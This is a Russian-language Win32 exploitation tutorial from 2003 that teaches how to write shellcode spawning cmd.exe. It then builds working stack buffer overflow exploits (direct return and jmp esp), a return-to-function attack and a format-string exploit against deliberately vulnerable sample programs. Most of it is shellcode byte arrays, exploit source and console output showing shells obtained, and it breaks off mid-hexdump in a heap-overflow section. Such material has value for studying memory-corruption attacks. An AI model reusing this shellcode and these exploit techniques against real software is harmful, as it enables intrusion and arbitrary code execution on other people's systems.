С недавних пор меня начали интересовать Win32 операционные системы по ряду
причин: а) за последнее время значительно вырос коэффициент уязвимых программ
б) об этом мало изложено информации в интернете (а кое о чем вовсе не изложено). В данной статье я попытаюсь объяснить и показать наглядно широко известные уязвимости в программных продуктах в среде Win32.
Для начала, хочу рассказать о том, как пишутся шеллкоды в среде Win32.
Технология написания шеллкода очень напоминает аналогичный процесс написания
шеллкода под unix\linux. В отличии от libc в *nix’e, в среде Win32 используются
адреса функций, содержащихся в модулях (библиотеках *.dll), которые и используются
при создании шеллкода.
Для упрощения написания предлагаю написать простенькую программку на MSVC++
6.0,
которая будет запускать cmd.exe.
.:-[source code]——————-
#include <windows.h>
#include <stdio.h>
int main() {
system(“cmd”);
exit(0);
}
.:-[end of source code]————
Если запустить данную программку, то можно получить шелл, который появится в вашей
командной строке (prompt’e).
Теперь необходимо выяснить, как выглядят инструкции (байткод) на этапе выполнения
программы. Для этого можно воспользоваться стандартным отладчиком MSVC++ 6.0.
В дизассемблированном виде эта программа будет выглядеть так:
.:-[disassembled]——————
…
4: int main() {
00401010 55 push ebp
00401011 8B EC mov ebp,esp
00401013 83 EC 40 sub esp,40h
00401016 53 push ebx
00401017 56 push esi
00401018 57 push edi
00401019 8D 7D C0 lea edi,[ebp-40h]
0040101C B9 10 00 00 00 mov ecx,10h
00401021 B8 CC CC CC CC mov eax,0CCCCCCCCh
00401026 F3 AB rep stos dword ptr [edi]
5:
6: system(“cmd”);
00401028 68 1C 20 42 00 push offset string “cmd” (0042201c)
0040102D E8 FE 01 00 00 call system (00401230)
00401032 83 C4 04 add esp,4
7: exit(0);
00401035 6A 00 push 0
00401037 E8 64 00 00 00 call exit (004010a0)
8: }
…
.:-[end of disassembled]———–
Для облегчения задачи необходимо написать данный код на ассемблере, используя
всё тот же
MSVC++ 6.0:
(при этом нужно узнать адреса функций..для чего можно добавить строчку printf(“system=%p,
exit=%p
“,system,exit);
и посмотреть результат)
#include <windows.h>
#include <stdio.h>
void main() {
printf(“system=%p, exit=%p
“,system,exit);
__asm {
xor ebx,ebx
push ebx
push 0x646d6320
push esp
or ebx,0x401110aa // 0x401110 – address of system
shr ebx,8
call ebx
xor ecx,ecx
push ecx
or ecx,0x401260aa // 0x401260 – address of exit
shr ecx,8
call ecx
}
}
.:-[end of source code]————
В дизассемблированном варианте это будет смотреться таким образом:
.:-[disassembled]——————
8: __asm {
9:
10: xor ebx,ebx
0040103F 33 DB xor ebx,ebx
11: push ebx
00401041 53 push ebx
12: push 0x646d6320
00401042 68 20 63 6D 64 push 646D6320h
13: push esp
00401047 54 push esp
14:
15: or ebx,0x401110aa // 0x401110 – address of system
00401048 81 CB AA 10 11 40 or ebx,401110AAh
16: shr ebx,8
0040104E C1 EB 08 shr ebx,8
17: call ebx
00401051 FF D3 call ebx
18:
19: xor ecx,ecx
00401053 33 C9 xor ecx,ecx
20: push ecx
00401055 51 push ecx
21:
22: or ecx,0x401260aa // 0x401260 – address of exit
00401056 81 C9 AA 60 12 40 or ecx,401260AAh
23: shr ecx,8
0040105C C1 E9 08 shr ecx,8
24: call ecx
0040105F FF D1 call ecx
25:
26: }
27: }
.:-[end of disassembled]———–
Как можно видеть мы избавились от 0х00 и сделали так, что аргумент записывается
в стек и после этого мы помещается адрес этого аргумента в стеке.
Если запустить эту программку, то запустится cmd.exe , после выхода из которого
выполнится exit(0);
Итак, получаем окончательный результат:
.:-[shellcode]———————
#include <windows.h>
#include <stdio.h>
/*
\ ShellCode for Win32 [34bytes]
/
\ Writed By xCrZx /Black Sand Project/ [27.10.2003]
/
\ shellcode does: system(“cmd “);exit(0);
/
\ note: address of system & exit functions must be obtained
/
\ tested on WinXP & Win2k
/
\
*/
char shellcmd[] =
/* system(“cmd “); */
//store cmd in stack
“\x33\xdb” // xor ebx,ebx
“\x53” // push ebx
“\x68\x20\x63\x6d\x64” // push 646d6320h
“\x54” // push esp
//call system
“\x81\xcb\xaa\x90\x10\x40” // or ebx,401090AAh — 0x401090 – address
of system
“\xc1\xeb\x08” // shr ebx,8
“\xff\xd3” // call ebx
/* exit(0) */
//store 0 in stack
“\x33\xc9” // xor ecx,ecx
“\x51” // push ecx
//call exit
“\x81\xc9\xaa\xe0\x11\x40” // or ecx,4011e0AAh — 0x4011e0 – address
of exit
“\xc1\xe9\x08” // shr ecx,8
“\xff\xd1” // call ecx
;
void main() {
int (*aa)();
printf(“crzz
“);
printf(“system=%p, exit=%p
“,system,exit);
aa=(int (*)()) &shellcmd;
(int)(*aa)();
/*
__asm {
xor ebx,ebx
push ebx
push 0x646d6320
push esp
or ebx,0x401110aa // 0x401110 – address of system
shr ebx,8
call ebx
xor ecx,ecx
push ecx
or ecx,0x401260aa // 0x401260 – address of system
shr ecx,8
call ecx
}
*/
}
.:-[end of shellcode]————–
Единственный недостаток данного шеллкода состоит в том, что его нельзя просто
так использовать, не зная адресов system и exit.
если добавить в эту программу (^^^) какую-нибудь функцию, к примеру Sleep(1);,
откомпилировать и запустить, то адреса system() & exit() будут уже другие
и шеллкод не исполнится.
Что же делать в этом случае? Нам необходимо непосредственно найти модуль, в
котором содержатся нужные нам функции. Таким модулем является msvcrt.dll (чтоб
в этом убедиться достаточно взглянуть на msvcrt.dll в том же FAR’e и найти там
строки system и exit)!
Сразу хочу отметить, что каждому модулю присваивается своё адресное пространство
(в разных версиях модулей и Windows, соответственно, эти адресные пространства
отличны).
Хочу, кстати, отметить, что программка, которая находится выше… не зависит
от версии модуля, либо от самой ОС Windows, т.к. не использует адреса функций
из модулей. Если запустить её на XP & Win2k, то шеллкод всегда исполнится
нормально. В отличии от случая, когда берутся адреса непосредственно из модулей,
т.к. эти адреса, как я сказал выше, различны в разных версиях модулей (ОС Windows).
Итак, чтобы получить адреса нужных нам функций, необходимо загрузить модуль
и достать из него адреса.
Что хорошо демонстрирует данная программа:
.:-[source code]——————-
#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary(“msvcrt.dll”);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, “system”);
(ProcAdd) (“cmd”);
return 0;
}
.:-[end of source code]————
Данная программа загружает модуль msvcrt.dll, получает адрес функции system
и запускает эту функцию с аргументом “cmd”.
Используя, опять же, отладчик MSVC++ 6.0, можно определить какой адрес присваевается
переменной ProcAdd:
12: ProcAdd = (MYPROC) GetProcAddress(LibHandle, “system”);
0040103F 8B F4 mov esi,esp
00401041 68 20 F0 41 00 push offset string “system” (0041f020)
00401046 8B 45 FC mov eax,dword ptr [ebp-4]
00401049 50 push eax
0040104A FF 15 38 41 42 00 call dword ptr [__imp__GetProcAddress@8 (00424138)]
^
| после выполнения данного вызова в регистр EAX
запишется адрес функции system() => EAX = 77C18044
.:-[end of disassembled]———–
В итоге мы получили эти адреса, теперь можно приступить к написанию шеллкода,
задача которого состоит в том, чтобы загрузить модуль и выполнить необходимые
нам функции system() & exit(0); , используя полученные адреса функций:
(чтобы найти адрес LoadLibrary, необходимо в дизассемблированном виде посмотреть
откуда берётся адрес и найти его в памяти с помощью утилиты отладчика:
А можно и аналогичным способом найти этот адрес, загрузив kernel32.dll и взять
адрес
LoadLibraryA)
.:-[source code]——————-
#include <windows.h>
#include <stdio.h>
int main()
{
__asm {
xor edx,edx
push edx
push 0x20206c6c
push 0x642e7472
push 0x6376736d
push esp
mov ecx,0x77e805d8 //address of LoadLibraryA() in kernel32.dll
call ecx
push edx
push 0x646d6320
push esp
mov ecx,0x77C18044 //address of system in msvcrt.dll
call ecx
push edx
mov ecx,0x77C27ADC //address of exit in msvcrt.dll
call ecx
}
}
.:-[end of source code]————
.:-[source code]——————-
/*
\
/ shellcode for Win32 with using msvcrt,dll [48bytes]
\
/ tested on WinXP ver. 5.1.2600
\
/ msvcrt.dll information:
\ FileVersion: 7.0:2600.0
/ ProdVersion: 6.1:8638.0
\
/ by xCrZx /Black Sand Project/ 29.10.03
\
/
\ shellcode does: LoadLibrary(“msvcrt.dll”);system(“cmd”);exit(0);
/
\ Note: adresses of system,exit are static but depending on version of msvcrt.dll
/
\
*/
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
char shellcode[] =
“\x33\xD2”
“\x52”
“\x68\x6C\x6C\x20\x20”
“\x68\x72\x74\x2E\x64”
“\x68\x6D\x73\x76\x63”
“\x54”
“\xB9\xD8\x05\xE8\x77”
“\xFF\xD1”
“\x52”
“\x68\x20\x63\x6D\x64”
“\x54”
“\xB9\x44\x80\xC1\x77”
“\xFF\xD1”
“\x52”
“\xB9\xDC\x7A\xC2\x77”
“\xFF\xD1”;
int main() {
int (*p)();
p=(int (*)()) &shellcode;
(*p)();
/*
__asm {
xor edx,edx
push edx
push 0x20206c6c
push 0x642e7472
push 0x6376736d
push esp
mov ecx,0x77e805d8 //address of LoadLibraryA() in kernel32.dll
call ecx
push edx
push 0x646d6320
push esp
mov ecx,0x77C18044 //address of system in msvcrt.dll
call ecx
push edx
mov ecx,0x77C27ADC //address of exit in msvcrt.dll
call ecx
}
*/
return 0;
}
.:-[end of source code]————
Ед., что еще можно тут придумать, так это добиться полуавтоматики: чтобы программа
сама находила адреса exit & system, но при этом нам всё ещё необходимо знать адреса
LoadLibraryA и GetProcAddress, чтобы проделать это. Некоторые китайские коллеги
умудрились и эти адреса автоматически определять :).
Для этого дела необходимо рассмотреть уже выше изложенную программку, которая
загружает модуль, находит адрес и вызывает функцию с параметром. И переписать
её на ассемблере!
Конечный результат:
.:-[source code]——————-
/*
\ Half Automated shellcode for Win32 with using msvcrt.dll [79bytes]
/
\
/ tested on WinXP ver. 5.1.2600
\
/ msvcrt.dll information:
\ FileVersion: 7.0:2600.0
/ ProdVersion: 6.1:8638.0
\
/ by xCrZx /Black Sand Project/ 29.10.03
\
/
\ shellcode does: GetProcAddress(LoadLibrary(“msvcrt.dll”),”system”);system(“cmd”);
/ GetProcAddress(LoadLibrary(“msvcrt.dll”),”exit”);exit(0);
\
/ Note: you should know address of LoadLibraryA & GetProcAddress of kernel32.dll
\
/
\
*/
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
char shellcode[] =
“\x33\xf6”
“\x56”
“\x68\x6c\x6c\x20\x20”
“\x68\x72\x74\x2E\x64”
“\x68\x6D\x73\x76\x63”
“\x54”
“\xB9\xD8\x05\xE8\x77”
“\xff\xd1”
“\x56”
“\xb9\xaa\xaa\x65\x6d”
“\xc1\xe9\x10”
“\x51”
“\x68\x73\x79\x73\x74”
“\x54”
“\x50”
“\x8B\xF8”
“\xB9\xFD\xA5\xE7\x77”
“\xff\xd1”
“\x56”
“\x68\x20\x63\x6d\x64”
“\x54”
“\xff\xd0”
“\x56”
“\x68\x65\x78\x69\x74”
“\x54”
“\x57”
“\xb9\xfd\xa5\xe7\x77”
“\xff\xd1”
“\x56”
“\xff\xd0″;
int main()
{
int (*p)();
p=(int (*)())&shellcode;
(*p)();
/*
__asm {
xor esi,esi
push esi
push 0x20206c6c
push 0x642e7472
push 0x6376736d
push esp
mov ecx,0x77e805d8 //address of LoadLibraryA() in kernel32.dll
call ecx
push esi
mov ecx,0x6d65aaaa
shr ecx,16
push ecx
push 0x74737973
push esp
push eax
mov edi,eax
mov ecx,0x77e7a5fd //address of GetProcAddress in kernel32.dll
call ecx
push esi
push 0x646d6320
push esp
call eax
push esi
push 0x74697865
push esp
push edi
mov ecx,0x77e7a5fd
call ecx
push esi
call eax
}
*/
return 0;
}
.:-[end of source code]————
Переполнение буфера в Win32 схоже с переполнением буфера в *nix. Происходит затерание
EIP (адреса возврата функции). Подробно об этом было изложено мной в статье
‘Modern Kinds Of System Attacks’ (для *nix).
Предлагаю сразу рассмотреть простенький пример:
.:-[source code]——————-
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int fuck(char *str) {
char yo[100];
strcpy(yo,str);
return 0;
}
int main(int argc, char **argv) {
char promo[500];
if(strlen(argv[1])>500) exit(0);
sprintf(promo,”%s”,argv[1]);
fuck(promo);
return 0;
}
.:-[end of source code]————
Подав программе строку, длина которой находится в промежутке >100 и <500 символов,
произойдет перезапись EIP и прыжок при выходе из функции на этот адрес, что приведёт
к критический ошибке и появится окошко об уведомлении (в моём XP появляется окошко с
кнопками “Отладка”,”Отправить отсчет”,”Не отправлять” :). Щёлкнув на “Отладку” можно
лицезреть, что собственно произошло!
лицезреть, что собственно произошло!
программа попыталась прочесть следующую инструкцию по адресу 0x41414141.
Теперь стоит упомянуть, что запускаемые программы в Windows основываются на
адресных пространствах, имеющих вид 0x00XXXXXX.
Т.е. в адресе присутствует 0х00 и это может затруднить положение, если, к примеру
мы хотим поместить наш шеллкод после EIP (например , из-за того, что после выхода
из
функции fuck() данные char yo[100] уничтожатся, но к счастью наши данные будут
лежать и в char promo[500] тоже ).
Так же трудности могут возникнуть, если функция в уязвимой программе, через
которую осуществляется переполнение есть (либо подобна) memcpy(), которая после
копирования данных не завершает этот процесс записью в конец 0х00 байта. В этом
случае EIP будет выглядеть так – 0xXXZZZZZZ, где ZZ – байты, на которые мы перезаписали
EIP, а XX – байт , который был на этом месте от старого значения EIP.
В случае, когда в уязвимой программе переполнение осуществляется с помощью
функций strcpy(),strcat(),sprintf(),etc. Тогда этот байт (ХХ) затирается на
0х00, чтобы обозначить конец строки.
Давайте попробуем перезаписать EIP на нужный нам адрес, который будет указывать
на promo, т.к. в нём будет храниться шеллкод. Для этого необходимо знать как
будет выглядеть стек после вызова fuck():
[ char yo[100] ][EBP][EIP]
я нашёл шеллкод по адресу – 0x0012fd90. Это и будет наш новый адрес, который
поместится в EIP.
Эксплоит (пришлось модифицировать шеллкод, чтоб избавиться от 0х20, т.к. при
передачи аргумента через system() уязвимая программа vuln1.exe будет воспринимать
всё, что дальше 0х20 как argv[2] и т.д.):
.:-[exploit code]——————
/*
\ Buffer Overflow exploit example for Win32
/
\ by xCrZx /Black Sand Project/ /01.11.03/
/
\
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
char shellcode[] =
“\x33\xf6”
“\xB9\xAA\xAA\x6C\x6C”
“\xC1\xE9\x10”
“\x51”
“\x68\x72\x74\x2E\x64”
“\x68\x6D\x73\x76\x63”
“\x54”
“\xB9\xD8\x05\xE8\x77”
“\xff\xd1”
“\xb9\xaa\xaa\x65\x6d”
“\xc1\xe9\x10”
“\x51”
“\x68\x73\x79\x73\x74”
“\x54”
“\x50”
“\x8B\xF8”
“\xB9\xFD\xA5\xE7\x77”
“\xff\xd1”
“\xb9\xaa\x63\x6d\x64”
“\xC1\xE9\x08”
“\x51”
“\x54”
“\xff\xd0”
“\x56”
“\x68\x65\x78\x69\x74”
“\x54”
“\x57”
“\xb9\xfd\xa5\xe7\x77”
“\xff\xd1”
“\x56”
“\xff\xd0″;
int main(int argc, char **argv) {
char buf[100+4*2+1];
char cmd[600];
memset(buf,0x00,sizeof(buf));
memset(buf,0x90,104-strlen(shellcode));
memcpy(buf+strlen(buf),&shellcode,strlen(shellcode));
*(long *)&buf[strlen(buf)]=0x0012fd90;
sprintf(cmd,”C:\\MSVCSTAFF\\Debug\\vuln1.exe %s”,buf);
system(cmd);
return 0;
}
.:-[end of exploit code]———–
Пример:
C:\MSVCSTAFF\Debug>exploit.exe
Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.
C:\MSVCSTAFF\Debug>exit
C:\MSVCSTAFF\Debug>
Теперь возьмём тот же самый пример, и допустим, что у нас нет char promo[500];
В этом случае шеллкод придётся сохранять за [EIP]:
…[EIP][SHELLCODE]
.:-[source code]——————-
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int fuck(char *str) {
char yo[100];
strcpy(yo,str);
return 0;
}
int main(int argc, char **argv) {
fuck(argv[1]);
return 0;
}
.:-[end of source code]————
для этого нам уже нельзя использовать в качестве адреса возврата адрес, содержащий
0х00 байт.
Что делать в этом случае? Если быть внимательным, то можно уловить нужную информацию
из регистров:
(при переполнении)
EAX = 00000000 EBX = 7FFDF000
ECX = 00430EBC EDX = FDFD0044
ESI = 00000000 EDI = 0012FF80
EIP = 41414141 ESP = 0012FF30
EBP = 41414141 EFL = 00000246 CS = 001B
Регистры EDI & ESP – содержат адреса, которые потенциально могут указывать
на наш шеллкод (в частности, ESP – указатель на вершину стека и это то, что
нам нужно):
^^^ А вот и наш буфер, содержащий 0x41(вместо 0х90)+шеллкод 🙂
Теперь нужно найти инструкцию JMP ESP, которая осуществляет переход по адресу,
заданному в ESP! Такие инструкции содержатся в разных модулях. Модуль, который
всегда мелькает перед глазами – kernel32.dll (в нём и следует начать искать
данную
инструкцию).
57: jmp esp
0040102E FF E4 jmp esp
^^^^^вот эти байты нам нужно отыскать
я нашёл эту инструкцию по адресу: 0x77F5800D+15
Эксплоит:
.:-[exploit code]——————
/*
\ Buffer Overflow exploit example for Win32
/
\ by xCrZx /Black Sand Project/ /01.11.03/
/
\ note: using ‘jmp esp’ technique
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
char shellcode[] =
“\x33\xf6”
“\xB9\xAA\xAA\x6C\x6C”
“\xC1\xE9\x10”
“\x51”
“\x68\x72\x74\x2E\x64”
“\x68\x6D\x73\x76\x63”
“\x54”
“\xB9\xD8\x05\xE8\x77”
“\xff\xd1”
“\xb9\xaa\xaa\x65\x6d”
“\xc1\xe9\x10”
“\x51”
“\x68\x73\x79\x73\x74”
“\x54”
“\x50”
“\x8B\xF8”
“\xB9\xFD\xA5\xE7\x77”
“\xff\xd1”
“\xb9\xaa\x63\x6d\x64”
“\xC1\xE9\x08”
“\x51”
“\x54”
“\xff\xd0”
“\x56”
“\x68\x65\x78\x69\x74”
“\x54”
“\x57”
“\xb9\xfd\xa5\xe7\x77”
“\xff\xd1”
“\x56”
“\xff\xd0″;
int main(int argc, char **argv) {
char buf[200+4*2+1];
char cmd[600];
memset(buf,0x00,sizeof(buf));
memset(buf,0x90,204-strlen(shellcode));
memcpy(buf+strlen(buf),&shellcode,strlen(shellcode));
*(long *)&buf[104]=(0x77F5800D+15);
sprintf(cmd,”C:\\MSVCSTAFF\\Debug\\vuln1.exe %s”,buf);
system(cmd);
return 0;
}
.:-[end of exploit code]———–
Результат:
C:\MSVCSTAFF\Debug>exploit.exe
Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.
C:\MSVCSTAFF\Debug>exit
C:\MSVCSTAFF\Debug>
Это, на мой взгляд, исчерпывающая информация о переполнении буфера!
Эта технология эксплоитинга широко распространена в операционных системах, где
существует так называемая защита от всякого рода buffer overflow, etc , т.е.
от выполнения шеллкода в стеке (non-exec stack).
Мы не можем использовать шеллкод на этот раз, но мы можем переписать EIP на
адрес какой-либо функции (обычно это system(), по понятным причинам :).
Как же это работает? При вызове функции берётся адрес аргумента(ов) из стека (как
это было видно ранее при дизассемблировании. Т.е. нам достаточно добавить адреса,
указывающие на наши аргументы и дело в шляпе. Для system() – это адрес, где
расположена строка “cmd”. Ед. проблема состоит в том, что опять же используемое
адресное пространство – 0х00XXXXXX ! для этого надо использовать адрес функции system из
модуля…
Общий вид заполнения таков:
Как же это работает? При вызове функции берётся адрес аргумента(ов) из стека (как
это было видно ранее при дизассемблировании. Т.е. нам достаточно добавить адреса,
указывающие на наши аргументы и дело в шляпе. Для system() – это адрес, где
расположена строка “cmd”. Ед. проблема состоит в том, что опять же используемое
адресное пространство – 0х00XXXXXX ! для этого надо использовать адрес функции system из
модуля…
Если мы хотим после system() вызвать exit(), то заполнение будет следующее:
…[OVERWRITED EIP (SYSTEM())][ADDR OF EXIT()][ADDR OF ARG FOR SYSTEM()][ARG
OF EXIT()]…
Сначала вызывается System(), после Exit().
простой пример тому, без использования адресов из модулей:
.:-[exploit code]——————
/*
\ Return-To-Func example for Win32
/
\ by xCrZx /Black Sand Project/ /01.11.03/
/
\
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int main()
{
char aaa[20]=”cmd\x00\x00\x00\x00\x00\x00″;
long *p;
p=(long *)&system;
long *b;
b=(long *)&exit;
__asm {
mov dword ptr [ebp+4],0x00401280 //addr of system()
mov dword ptr [ebp+8],0x004010f0 //addr of exit()
mov dword ptr [ebp+12],0x0012ff6c //addr of arg for system()
mov dword ptr [ebp+16],0x00000000 //arg for exit()
}
return 0;
}
.:-[end of exploit code]———–
Результат:
C:\MSVCSTAFF\Debug>test.exe
Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.
C:\MSVCSTAFF\Debug>exit
C:\MSVCSTAFF\Debug>
Теперь допустим у нас есть уязвимая программа:
(ед. ньюанс – уязвимая программа должна использовать модуль(библиотеку))
.:-[source code]——————-
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int main(int argc, char **argv) {
char abc[10];
LoadLibrary(“msvcrt.dll”);
strcpy(abc,argv[1]);
return 0;
}
.:-[end of source code]————
Адреса функций system & exit в модуле msvcrt.dll мы знаем! Осталось найти “cmd”
где-нибудь в модуле! И я смог найти “cmd” по адресу 0x77C01335! (в msvcrt.dll)
.:-[exploit code]——————
/*
\ Return-To-Func exploit example for Win32
/
\ by xCrZx /Black Sand Project/ /01.11.03/
/
\
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int main()
{
long sys_addr=0x77C18044;
long exit_addr=0x77C27ADC;
long cmd_addr=0x77C01335;
char cmd[100]=”C:\\MSVCSTAFF\\Debug\\vuln2.exe AAAAAAAAAABBBBCC”;
*(long *)&cmd[strlen(cmd)]=sys_addr;
*(long *)&cmd[strlen(cmd)]=exit_addr;
*(long *)&cmd[strlen(cmd)]=cmd_addr;
system(cmd);
return 0;
}
.:-[end of exploit code]———–
Как видно, замечательно работает:
C:\MSVCSTAFF\Debug>ret-to-func-exp.exe
Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.
C:\MSVCSTAFF\Debug>exit
C:\MSVCSTAFF>
Опять же… для каждой версии msvcrt.dll (Windows) своё адресное пространство,
т.ч. нужно не забывать этот факт!
Большенство из вас (и даже некоторых опытных специалистов в области компьютерной безопасности,
с которыми мне пришлось общаться) не подозревали, что уязвимость класса формат строки
(format string) может быть использована в целях получения шелла (это было связано с тем,
что никто из них толком не изучал эту тему).
Процесс протекает аналогично тому, который используется в *nix’e.
В windows есть аналог GOT’y – Import Address Table (IAT)…где в виде таблицы хранятся
адреса функций, а ниже соответствующие этим адресам наименования функций.
Надеюсь, читатель знает каким свойством обладает %n (записывает по адресу аргумента
кол-во символов до данного оператора). Об этом очень хорошо было описано в своё
время на void.ru в статьях ya_man’a.
Рассмотрим сразу наглядную уязвимую программу:
.:-[source code]——————-
#include <windows.h>
#include <stdio.h>
int main(int argc, char **argv) {
char abc[200];
int yo;
yo=atoi(argv[1]);
strncpy(abc,argv[2],199);
printf(abc);
ExitProcess(0);
}
.:-[end of source code]————
C:\MSVCSTAFF\Debug>vuln3.exe 666 AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAA143018.0.7ffdf000.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccc
cccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.ccc
ccccc.29a
C:\MSVCSTAFF\Debug>
Мы нашли начальную позицию внесения данных в char abc[100]; (0x29a – 666)
Теперь остаётся занести на эту позицию нужный адрес, который мы хотим перезаписать
и послать нужно сформированную строку!
т.е. вместо 666 нужно вписать адрес в десятичном виде и последний %x, который
указывает на эту позицию (точнее, вынимает из стека в качестве аргумента)
заменить на %n (ну и сделать так, чтоб кол-во символов до %n было равно адресу
на шеллкод в десятичном виде)! Вот пожалуй и всё 🙂 !
Остаётся выяснить адрес, который нужно перезаписать, если посмотреть на память повнимательней,
то можно найти адреса функций (а именно, нас интересует адрес функции ExitProcess()):
Т.е. по адресу 0x00425138 и находится наш ExitProcess().
Всё что нужно теперь уже известно!
.:-[exploit code]——————
/*
\ Format String exploit example for Win32
/
\ by xCrZx /Black Sand Project/ /01.11.03/
/
\
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
char shellcode[] =
“\x33\xf6”
“\xB9\xAA\xAA\x6C\x6C”
“\xC1\xE9\x10”
“\x51”
“\x68\x72\x74\x2E\x64”
“\x68\x6D\x73\x76\x63”
“\x54”
“\xB9\xD8\x05\xE8\x77”
“\xff\xd1”
“\xb9\xaa\xaa\x65\x6d”
“\xc1\xe9\x10”
“\x51”
“\x68\x73\x79\x73\x74”
“\x54”
“\x50”
“\x8B\xF8”
“\xB9\xFD\xA5\xE7\x77”
“\xff\xd1”
“\xb9\xaa\x63\x6d\x64”
“\xC1\xE9\x08”
“\x51”
“\x54”
“\xff\xd0”
“\x56”
“\x68\x65\x78\x69\x74”
“\x54”
“\x57”
“\xb9\xfd\xa5\xe7\x77”
“\xff\xd1”
“\x56”
“\xff\xd0”;
int main()
{
long ret=0x425138;//addr of ExitProcess()
char cmd[200];
long xret=0x0012feb8 – 0xee;//addr of shellcode
memset(cmd,0x00,sizeof(cmd));
strcpy(cmd,”C:\\MSVCSTAFF\\Debug\\vuln3.exe “);
sprintf(cmd+strlen(cmd),”%d %s%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%%dx.%%n”,ret,shellcode,xret);
system(cmd);
return 0;
}
.:-[end of exploit code]———–
Работоспособность:
C:\MSVCSTAFF\Debug>fmt-str-exp.exe
…..
cccccccc.Microsoft Windows XP [Верс
ия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.
C:\MSVCSTAFF\Debug>exit
C:\MSVCSTAFF\Debug>
Как видно, всё работает! Но одно но, перезаписываемый адрес содержит 0х00 байт!
т.е. если бы не было int yo; то перезаписать этот адрес нам бы не удалось, т.к.
мы не можем использовать %<NUMBER>$n технологию:
C:\MSVCSTAFF\Debug>vuln3 11 %1$x
$x
C:\MSVCSTAFF\Debug>vuln3 11 %1\$x
\$x
C:\MSVCSTAFF\Debug>vuln3 11 %%1$x
%1$x
C:\MSVCSTAFF\Debug>vuln3 11 %%1\$x
%1\$x
А если записать адрес ExitProcess() в конце нашего запроса и последовательно
извлекать из стека данные, то мы не сможем добраться до нашего адреса, т.к.
мы будем добавлять всё новые и новые символы в буфер (дистанция до адреса
будет сохраняться).
а перезаписать адреса тех или иных функций каких-либо модулей не удастся…
Поэтому необходимо думать куда бы записать адрес, который надо перезаписать.
И вот, пожалуй, самая интересная часть :), которая заставляет думать.
Думаю, следует начать изучать данный тип уязвимости сразу с примера, как это
делал я.
.:-[source code]——————-
#include <windows.h>
#include <stdio.h>
int main() {
char *a;
char *b;
a=(char *)malloc(100);
b=(char *)malloc(30);
char arg[] = “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”;
memcpy(b,&arg,sizeof(arg));
free(a);
ExitProcess(0);
}
.:-[end of source code]————
Предлагаю наблюдать за ходом выполнения программы в отладчике!
Как видно из примера, сперва выделяется 100 байт в heap’e и указателю а присваевается
адрес этого места (с которого можно заносить данные), после чего выделяется
30 байт для b.
в моём случае а указывает на 0х00430150, а b – на 0х00430100
если глянуть на эти адреса, то можно увидеть следующую картину:
причём, если рассматривать после выделения всю структуру целиком, то для b,
к примеру, она
принимает вид такой:
при этом используемая юзером часть – с 0х00430100 по 0х0043011e (30 байт т.е.).
далее по программе идёт запись в b, если запустить программу, то можно увидеть окошко
об ошибке, которое сообщает, что освобождаемый блок (а) испорчен (т.е. испорчен нами, т.к.
мы перезаписали его часть).
Предлагаю заглянуть внутрь функции free() и выяснить всё самим:
_CRTIMP void __cdecl free(
void * pUserData
)
{
_free_dbg(pUserData, _NORMAL_BLOCK);
}
идёт вызов free в отладочном режиме
_CRTIMP void __cdecl _free_dbg(
#endif /* _MT */
void * pUserData,
int nBlockUse
)
{
_CrtMemBlockHeader * pHead;
…
pUserData – это и есть тот блок , который мы пытаемся освободить (т.е. a)
pHead – структура заголовка блока, которая выглядит следующим образом:
typedef struct _CrtMemBlockHeader
{
struct _CrtMemBlockHeader * pBlockHeaderNext;
struct _CrtMemBlockHeader * pBlockHeaderPrev;
char * szFileName;
int nLine;
size_t nDataSize;
int nBlockUse;
long lRequest;
unsigned char gap[nNoMansLandSize];
/* followed by:
* unsigned char data[nDataSize];
* unsigned char anotherGap[nNoMansLandSize];
*/
} _CrtMemBlockHeader;
далее идут проверки блока, который был передан:
/* verify heap before freeing */
if (_crtDbgFlag & _CRTDBG_CHECK_ALWAYS_DF)
_ASSERTE(_CrtCheckMemory());
if (pUserData == NULL)
return;
разумется, что, если был передан нулевой адрес блока, то на этом этапе выполнение
функции free() завершится.
_ASSERTE(_CrtIsValidHeapPointer(pUserData));
тут идёт проверка самого адреса блока, если мы передали неправильный адрес
(для примера 0х41414141), то на этом этапе программа выдаст нам ошибку!
/* get a pointer to memory block header */
pHead = pHdr(pUserData);
указателю pHead (который указывает на структуру _CrtMemBlockHeader) присваевается
адрес структуры заголовка блока, который расположен на 0x20 байт левее адреса блока (т.е.
если а = 0х00430150, то pHead = 0х00430130)
Если глянуть на адрес 0х00430130, то мы увидим, что мы его затёрли (и не только его),
когда копировали информацию в b (т.к. блок b был расположен выше(левее) блока a):
00430130 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
